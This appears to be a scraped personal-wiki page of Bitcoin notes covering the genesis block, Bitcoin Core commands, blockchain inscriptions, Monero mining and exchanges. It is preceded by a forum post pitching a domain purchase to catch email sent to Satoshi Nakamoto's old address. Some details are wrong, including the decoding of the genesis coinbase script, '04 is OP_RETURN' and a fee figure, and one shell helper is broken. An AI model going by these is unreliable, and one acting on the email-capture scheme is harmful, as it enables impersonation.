To be clear, I want to emphasize that I am not Satoshi Nakamoto. My interest lies in understanding the future plans for Bitcoin and its impact on the world. I invite you to join me on this journey, contributing your knowledge to the collective understanding. I believe there is a possibility of uncovering the ultimate treasure, and I am eager to share it with all of you.
twitter @alexelbanna
2023-11-17, 06:46:25 PM. bitcointalk.org/index.php?topic=5474482.0 vistomail.com for sale, Restricted topic, but Google caught it: archive.ph/wip/GARBy The message:
Vistomail.com has a rich Bitcoin history with Satoshi Nakamoto, the creator of Bitcoin.
Email address: satoshi@vistomail.com
$50,000 obo for vistomail.com. Buy Now: www.afternic.com/listings/778206
How it would be of value:
You would open a proton.me account add domain vistomail.com. Then you create an address such as: satoshi@vistomail.com and the you can set the domain to a catch all address. All satoshi@vistomail.com emails will come into your inbox. All emails from @vistomail.com going to vistomail.com will now be in your inbox.
See other domains Satoshi Nakamoto owned here: www.afternic.com/listings/778206
Michael Weber Domain Registrar mweber@dosidos.net
Satoshi Nakamoto candidate
words: 14 articles: 1
The mere thought that Satoshi would attempt to copyright takedown the Bitcoin whitepaper makes on shrivel.
Adam Back
articles: 1
David Chaum
articles: 1
Nick Szabo
articles: 1
Wei Dai (戴维)
articles: 1
Released by Satoshi Nakamoto on the early mailing list discussions where Bitcoin was announced.
Reuploaded into the blockchain itself: bitcoin.stackexchange.com/questions/35959/how-is-the-whitepaper-decoded-from-the-blockchain-tx-with-1000x-m-of-n-multisi/105574#105574 by using the Satoshi uploader.
More conveniently available at: bitcoin.org/bitcoin.pdf nowadays.
Bitcoin investor
words: 121 articles: 3
Video 2. What Happened When Bitcoin Made People Rich Quickly? by Vice News (2022) Source. Meh, too long and not many cool things.
www.unilad.com/technology/erik-finman-bitcoin-12-year-old-millionaire-invest-798094-20231207
In 2011, Finman made a deal with his parents that he would not pursue a college degree as he wanted to make his fortune outside of traditional education.
After receiving $1,245 from his grandmother that year, Finman invested into Bitcoin (BTC) - which was then trading at around $12 - and this gave him about 103 BTC.
archive.ph/fYpC1
The way the education system is structured now, I wouldn't recommend it, It doesn't work for anyone. I would recommend the Internet, which is all free. You can learn a million times more off YouTube and Wikipedia.
Davinci Jeremie
words: 10
Video 3. Just buy $1 worth of Bitcoin please! by Davinci Jeremie (2013) Source.
github.com/embiimob/Sup
Video 4. Sup!? Buying, Listing and Offers by EMBII. Source.

Bitcoin protocol

words: 476 articles: 13
en.bitcoin.it/wiki/Protocol_documentation
Bitcoin protocol data type
words: 25 articles: 1
Bitcoin varint
words: 25
en.bitcoin.it/wiki/Protocol_documentation#Variable_length_integer
Implementations:
Bitcoin transaction
words: 61 articles: 4
Bitcoin address
words: 5 articles: 1
The fee/change address of cryptograffiti.info.
Coinbase transaction
words: 56 articles: 1
The first transaction of each Bitcoin block is called the "coinbase transaction", and it is magic as it does not need to point to a previous output script and have a valid input script as it serves as a Block reward for miners.
The input script of the Coinbase transaction can be anything, and this can be used as a Bitcoin inscription method.
Notable examples:
Bitcoin block
words: 390 articles: 5
List of bitcoin blocks
words: 390 articles: 4
Inscription added by Satoshi Nakamoto on the Genesis block containing:
The Times 03/Jan/2009 Chancellor on brink of second bailout for banks
which is a reference to: www.thetimes.co.uk/article/chancellor-alistair-darling-on-brink-of-second-bailout-for-banks-n9l382mn62h wihch is fully titled:
Chancellor Alistair Darling on brink of second bailout for banks
The "Alistair" was slikely removed due to limited payload concerns.
Through the newspaper reference, the message proves a minimal starting date for the first mine.
And it hints that one of Bitcoin's motivation was the financial crisis of 2007-2008, where banks were given bailouts by the government to not go under, which many people opposed as the crisis was their own fault in the first place. A notable related stab is taken at Len Sassaman tribute.
We can extract the image from the blockchain ourselves by starting from: blockchain.info/block-height/0?format=json.
From that page we manually extract the hash 000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f and then:
wget -O 0.hex https://blockchain.info/block/000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f?format=hex
xxd -p -r 0.hex
and that does contain the famous genesis block string:
EThe Times 03/Jan/2009 Chancellor on brink of second bailout for banks
The JSON clarifies that the data is encoded in the script field of the transaction input:
{
      {
         "script":"04ffff001d0104455468652054696d65732030332f4a616e2f32303039204368616e63656c6c6f72206f6e206272696e6b206f66207365636f6e64206261696c6f757420666f722062616e6b73"
The extra E (0x45 in ASCII) in EThe Times is just extra noise required by the script, we can break things up as:
04ffff001d0104 45 5468652054696d65732030332f4a616e2f32303039204368616e63656c6c6f72206f6e206272696e6b206f66207365636f6e64206261696c6f757420666f722062616e6b73
where:
  • 54 is T
  • the 04ffff001d0104 part just doesn't show up on the terminal because it is not made of any printable characters.
The initial 04 is OP_RETURN.
TODO what is actual the meaning of the ffff001d010445 part? @defango twitter.com/defango/status/1642750851134652417 comments:
04ffff001d0104 is a hexadecimal string. It is commonly used in the Bitcoin network as a part of the mining process. Specifically, it is used as the target value for a block to be considered valid by the Bitcoin network.
This value represents the level of difficulty required for a miner to generate a block that meets the network's criteria. The first four bytes, 04ffff, represent the maximum possible target value. The next three bytes, 001d01, represent the current difficulty level
while the final byte, 04, is a padding byte. In summary, this value sets the difficulty level for mining a new block in the Bitcoin network.
TODO the output of the transaction has a jumbled script, likely just a regular output to get things going, can't be arbitrary like input.
Figure 7. Source.
www.blockchain.com/explorer/blocks/btc/78

Bitcoin implementation

words: 100 articles: 9
Bitcoin Core
words: 100 articles: 8
Reference implementation?
Links:
Executables provided:
  • bitcoin-qt
Bitcoin Core executable
words: 94 articles: 7
Bitcoin daemon (bitcoind)
words: 74 articles: 2
Runs just a headless Bitcoin server.
You can then interact with it via the Bitcoin CLI client.
On Bitcoin Core snap 26.0, the executable is called bitcoin-core.daemon rather than bitcoind
Bitcoin RPC command
words: 49 articles: 1
These are commands that e.g. the Bitcoin CLI client can make to the server.
bitcoincore.org/en/doc/22.0.0/rpc/rawtransactions/getrawtransaction/
The commands can be listed with:
bitcoin-core.cli help
and full help with:
bitcoin-core.cli help getrawtransaction
For example. to run the Bitcoin getrawtransaction command, first in one shell we start bitcoind:
bitcoin-core.daemon
and then on another shell:
bitcoin-core.cli getrawtransaction 75b431e0a8c4617ca8adefe593ba66aa30907742b6dc8772761bfe7edabd74b4 true
On Bitcoin Core snap 26.0, the executable is called bitcoin-core.cli rather than bitcoin-cli.
Officially supported installation method on Ubuntu 23.10.
Bitcoin Core data layout
words: 3 articles: 1
Bibliography:
TODO format???
There are apparently two methods:
Specific implementations:
Bibliography:
TODO: it would be cool to have something like bitcoinstrings.com but including the actual transactions:
Local methods:
Further bibliography:
Blockchain explorer
words: 76 articles: 2
Blockchair
words: 12
blockchair.com/
Very good explorer, you can create several complex queries on it e.g.
Blockchain.info
words: 64
TODO who owns it? Are they reliable?
This helper dumps a transaction JSON to a binary:
bitcoin-tx-out-scripts() (
    # Dump data contained in out scripts. Remove first 3 last 2 bytes of
    # standard transaction boilerplate.
    h="$1"
    echo curl "https://blockchain.info/tx/${h}?format=json" |
    jq '.out[].script' tmp.json |
    sed 's/"76a914//;s/88ac"//' |
    xxd -r -p > "${h}.bin"
)
github.com/cirosantilli/bitcoin-inscription-indexer
Previously called "bitcoin-strings-with-txids" since text was the initial focus, but Ciro Santilli decided to go for the more general name once images became more and more important to the project.
Set of scripts b Ciro Santilli, primarily created while researching Cool data embedded in the Bitcoin blockchain.
bitcoinstrings.com has all strings -n20 strings, we can obtain the whole thing and clean it up a bit with:
wget -O all.html https://bitcoinstrings.com/all
cp all.html all-recode.html
recode html..ascii all-recode.html
awk '!seen[$0]++' all-recode.html > all-uniq.html
awk to skip the gazillion "mined by message" repeats.
A lot of in that website stuff appears to be cut up at the 20 mark. As shown in Force of Will, this is possibly because they didn't use -w in strings -n20, and the text after the newlines was less than 20 characters.
That website can be replicated by downloading the Bitcoin blockchain locally, then:
cd .bitcoin/blocks
for f in blk*.dat; do strings -n20 -w $f | awk '!seen[$0]++' > ${f%.dat}.txt; done
tail +n1 *.txt
Remove most of the binary crap:
head -n-1 *.txt | grep -e '[. ]' | grep -iv 'mined by' | less
Satoshi uploader
words: 584 articles: 1
See also: bitcoin.stackexchange.com/questions/35959/how-is-the-whitepaper-decoded-from-the-blockchain-tx-with-1000x-m-of-n-multisi/105574#105574
By "Satoshi uploader" we mean the data upload script present in tx 4b72a223007eab8a951d43edc171befeabc7b5dca4213770c88e09ba5b936e17 of the Bitcoin blockchain.
The uploader, and its accompanying downloader, are Python programs stored in the blockchain itself. They are made to upload and download arbitrary data into the blockchain via RPC.
These scripts were notably used for: illegal content of block 229k. The script did not maintain its popularity much after this initial surge up loads, likely all done by the same user: there are very very few uploads done after block 229k with the Satoshi uploader.
Our choice of name as "Satoshi uploader" is copied from A Quantitative Analysis of the Impact of Arbitrary Blockchain Content on Bitcoin by Matzutt et al. (2018) because the scripts are Copyrighted Satoshi Nakamoto on the header comment, although as mentioned at Hidden surprises in the Bitcoin blockchain by Ken Shirriff (2014) this feels very unlikely to be true.
A more convenient version of those scripts that can download directly from blockchain.info without the need for a full local node can be found at: github.com/cirosantilli/bitcoin-inscription-indexer/blob/master/download_tx_consts.py by using the --satoshi option. E.g. with it you can download the uploader script with:
./download_tx_consts.py --satoshi 4b72a223007eab8a951d43edc171befeabc7b5dca4213770c88e09ba5b936e17
mv 4b72a223007eab8a951d43edc171befeabc7b5dca4213770c88e09ba5b936e17.bin uploader.py
The scripts can be found in the blockchain at:
The uploader script uses its own cumbersome data encoding format, which we call the "Satoshi uploader format". The is as follows:
  • ignore all script operands and constants less than 20 bytes (40 hex characters). And there are a lot of small operands, e.g. the uploader itself uses format www.blockchain.com/btc/tx/4b72a223007eab8a951d43edc171befeabc7b5dca4213770c88e09ba5b936e17 has a OP_1, data, OP_3, OP_CHECKMULTISIG pattern on every output script, so the OP_1 and OP_3 are ignored
  • ignore the last output, which contains a real change transaction instead of arbitrary data. TODO why not just do what with the length instead?
  • the first 4 bytes are the payload length, the next 4 bytes a CRC-32 signature. The payload length is in particular useful because of possible granularity of transactions. But it is hard to understand why a CRC-32 is needed in the middle of the largest hash tree ever created by human kind!!! It does however have the adavantage that it allows us to more uniquely identify which transactions use the format or not.
This means that if we want to index certain file types encoded in this format, a good heuristic is to skip the first 9 bytes (4 size, 4 CRC, 1 OP_1) and look for file signatures.
Let's try out the downloader to download itself. First you have to be running a Bitcoin Core server locally. Then, supposing .bitcon/bitoin.conf containing:
rpcuser=asdf
rpcpassword=qwer
server=1
txindex=1
we run:
git clone git://github.com/jgarzik/python-bitcoinrpc.git
git -C python-bitcoinrpc checkout cdf43b41f982b4f811cd4ebfbc787ab2abf5c94a
wget https://gist.githubusercontent.com/shirriff/64f48fa09a61b56ffcf9/raw/ad1d2e041edc0fb7ef23402e64eeb92c045b5ef7/bitcoin-file-downloader.py
pip install python-bitcoinrpc==1.0
BTCRPCURL=http://asdf:qwer@127.0.0.1:8332 \
  PYTHONPATH="$(pwd)/python-bitcoinrpc:$PYTHONPATH" \
  python3 bitcoin-file-downloader.py \
  6c53cd987119ef797d5adccd76241247988a0a5ef783572a9972e7371c5fb0cc
worked! The source of the downloader script is visible! Note that we had to wait for the sync of the entire blockchain to be fully finished for some reason for that to work.
Other known uploads in Satoshi format except from the first few:
  • tx 89248ecadd51ada613cf8bdf46c174c57842e51de4f99f4bbd8b8b34d3cb7792 block 344068 see ASCII art
  • tx 1ff17021495e4afb27f2f55cc1ef487c48e33bd5a472a4a68c56a84fc38871ec contains the ASCII text e5a6f30ff7d43f96f61af05efaf96f869aa072b5a071f32a24b03702d1dcd2a6. This number however is not a known transaction ID in the blockchain, and has no Google hits.
tx 243dea31863e94dc2f293489db02452e9bde279df1ab7feb6e456a4af672156a contains another upload script. The help reads:
Publish text in the blockchain, suitably padded for easy recovery with strings
The script is: github.com/petertodd/python-bitcoinlib/blob/master/examples/publish-text.py
This is likely a system that uploads text to the blockchain.
One example can be seen on the marijuana plant.
Messages are uploaded one line per transaction, and thus may be cut up on the blk.txt, and possibly even out of order.
But because each line starts with j( you can generally piece things up regardless.
TODO identify. The first occurrence seems to be in tx e8c61e29c6b829e289f8d0fc95f9eb2eb00c89c85cfa3a9c700b15805451ae6a:
j(DOCPROOF@?pnvf=!;AG

Services based on Bitcoin

words: 37 articles: 1
Satoshi Dice
words: 37
en.bitcoin.it/wiki/Satoshi_Dice
Claims provably fair. satoshidice.com/fair clarifies what that means: they prove fairness by releasing a hash of the seed before the bets, and the actual seed after the bets.
As mentioned in bitcoin.it, it functions basically as cryptocurrency tumbler in practice.

Bitcoin inscription

words: 18k articles: 57
This section is present in another page, follow this link to view it.
Bitcoin inscription bibliography
words: 24 articles: 2
en.wikipedia.org/wiki/History_of_bitcoin#Arbitrary_blockchain_content
fc18.ifca.ai/preproceedings/6.pdf
Bitcoin inscription method
words: 64 articles: 3
"P2FKH" terminology mentioned e.g. at: Data Insertion in Bitcoin's Blockchain by Andrew Sward, Vecna OP_0 and Forrest Stonedahl.
To decode these, we throw away the last tx and the last constant of each input, e.g.:
btc getrawtransaction 033d185d1a04c4bd6de9bb23985f8c15aa46234206ad29101c31f4b33f1a0e49 true | jq -r '.vin[].scriptSig.asm' | head -n -1 | sed -r 's/ [^ ]+$//' | tr -d '\n'  | xxd -r -p > tmp.jpg
Terminology mentioned e.g. at: Data Insertion in Bitcoin's Blockchain by Andrew Sward, Vecna OP_0 and Forrest Stonedahl.
Example: Code "Study Math and Computer Science at Augustana College".
A quick overview of some developments: research.aimultiple.com/ordinal-inscriptions-history/

Cardano

words: 21 articles: 1
This was getting very hot as of 2022 for some reason. Would be good to understand why besides the awesome name.

Monero

words: 410 articles: 1
Cryptocurrency with focus on anonymity.
As mentioned at Section "Cryptocurrency", Ciro Santilli believes that anonymity is the only feature that really matters on crypto coins, and therefore if he were to invest in crypto, he would invest in Monero or some other privacy coin.
localmonero.co/knowledge/monero-stealth-addresses?language=en gives an overview of the privacy mechanisms:
  • ring signatures, which hide the true output (sender)
    localmonero.co/knowledge/ring-signatures Gives an overview. Mentions that it is prone to heuristic attacks.
    Uses a system of decoys, that adds 10 fake possible previous outputs as inputs, in addition to the actual input.
    So the network only knows/verifies that one of those 11 previous outputs was used, but it does not know which one.
    It's a bit like having a built-in cryptocurrency tumbler in every transaction.
    TODO so how do you know which previous outputs were spent or not?
  • RingCT which hides the amounts.
  • stealth addresses, which hides who you send to
    This forces receivers to scan try and unlock every single transaction in the chain to see if it is theirs or not.
    The sender therefore can know when the money is spent, but once again, not to whom it is being sent.
Based on en.wikipedia.org/wiki/CryptoNote and like Satoshi Nakamoto created by under the pseudonym "Nicolas van Saberhagen" www.reddit.com/r/Monero/comments/7v2obe/offering_a_bounty_for_a_video_of_the_speech_by/
Developers tried to fight application-specific integrated circuit mining, but they failed it seems:
This can also be seen by the ridiculous hash rates on Ciro's test: how to mine Monero.
Coinbase has actually stayed away from trading it even as of 2019 when Monero was the third largest market capitalization crypto because of fear of regulatory slashback: decrypt.co/36731/heres-why-coinbase-still-hasnt-listed-monero. Although it must be said, the value of privacy crypto is greatly reduced when everyone is trading it on exchanges, which require a passport upload to work.
Ubuntu 20.10 as per xmrig.com/docs/miner/build/ubuntu:
sudo apt install git build-essential cmake libuv1-dev libssl-dev libhwloc-dev
git clone https://github.com/xmrig/xmrig.git
mkdir xmrig/build && cd xmrig/build
cmake ..
make -j$(nproc)
At minexmr.com/#getting_started we see that all you then need is a single CLI command:
xmrig -o pool.minexmr.com:4444 -u <your-monero-address>
Seems simple, well done devs!
Benchmark on Lenovo ThinkPad P51 (2017) as per xmrig.com/docs/miner/benchmark:
./xmrig --bench=1M
gives:
948.1 h/s
which according to the minexmr.com mining pool would generate 0.0005 XMR/day, which at the February 2021 rate of 140 USD/XMR is 0.07 USD/day. The minimum payout in that pool is 0.004 XMR so it would take 8 days to reach that.
So clearly, application-specific integrated circuit mining is the only viable way of doing this.
Some people considering Raspberry Pis also conclude obviously that it is useless at a 10H/s rate:
www.makeuseof.com/cryptos-you-can-mine-at-home/ is a completely full of bullshit article that says otherwise. How can someone publish that!

Cryptocurrency exchange

words: 238 articles: 8
en.bitcoin.it/wiki/Off-Chain_Transactions

List of cryptocurrency exchanges

words: 238 articles: 6

Coinbase

words: 133 articles: 1
Test buy 2023-04-10 in the UK:
  • fee: 0.99 pounds, minimum buy: 1.99 pounds
  • bought 10 pounds, minus 0.99 fee, totalled: 0.00039162 BTC (£8.92) presumably after further fees/spread
  • bitcoin price on Google on that day: 22,777.54 GBP / BTC
  • bitcoin transaction fees were about 2.7 BTC on that day
Sending 5 pounds to wallet 12dg2FaiZLp3VzDtLvwPinaKz41TQcEGbs
  • network fee: 0.00001989 BTC
  • total bitcoin cost: -0.00023928 BTC
  • new balance: 15,234 satoshi (39,162 - 23,928).
  • total spent: £5.45
  • time est.: about 30 minutes
This worked and I received 21939 satoshis (23928 - 1989) on Electrum on one of the outputs of transaction 1177268091cbeaacbcaac5dc4f6d1774c4ec11b4bcffafa555cd2775eafb954c.
Sending 1 satoshi back! The lowest fee in Electron is 1120 Satoshis targeting 25 blocks (4 hours). Let's do it. Failed, server forbids dust, minimum is 1000 satoshi. OK, sending 1000 satoshi, at 1139 fee.
The first Bitcoin exchange. Coded as a hack, and they didn't manage to fix the hacks as the site evolved in a major way, which led to massive hacks.
Their creation is clearly visible on the archive history of bitcoin.org: web.archive.org/web/20100701000000*/bitcoin.org which started having massively more archives since Mt. Gox opened.
Video 5. One Mistake Brought Down This FBI Most Wanted Hacker by Crumb (2023) Source. Good overview of Mt. Gox.

FTX

words: 43 articles: 1
Some analysts seem to suggest that the things she said were bad.
But they're not.
They're a rare example of someone with some power saying cool honest stuff that comes across their mind.
Unlike the endless mandatory corporate bullshit we usually get otherwise.

Ancestors

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